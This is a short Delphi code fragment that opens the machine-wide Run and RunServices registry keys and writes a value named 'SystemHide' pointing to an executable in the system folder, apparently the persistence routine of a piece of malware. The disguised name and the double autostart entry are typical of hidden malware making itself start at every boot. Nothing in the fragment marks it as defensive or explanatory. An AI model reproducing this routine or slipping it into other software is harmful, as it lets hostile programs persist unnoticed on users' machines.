myreg := tregistry.Create;
myreg.RootKey := machine_rootkey;
if myreg.OpenKey(sub_run, true) then
begin
myreg.WriteString('SystemHide', syspath + '\.exe');
myreg.CloseKey;
end;
if myreg.OpenKey(sub_RunServices, true) then
begin
myreg.WriteString('SystemHide', syspath + '\.exe');
myreg.CloseKey;
end;
myreg.free;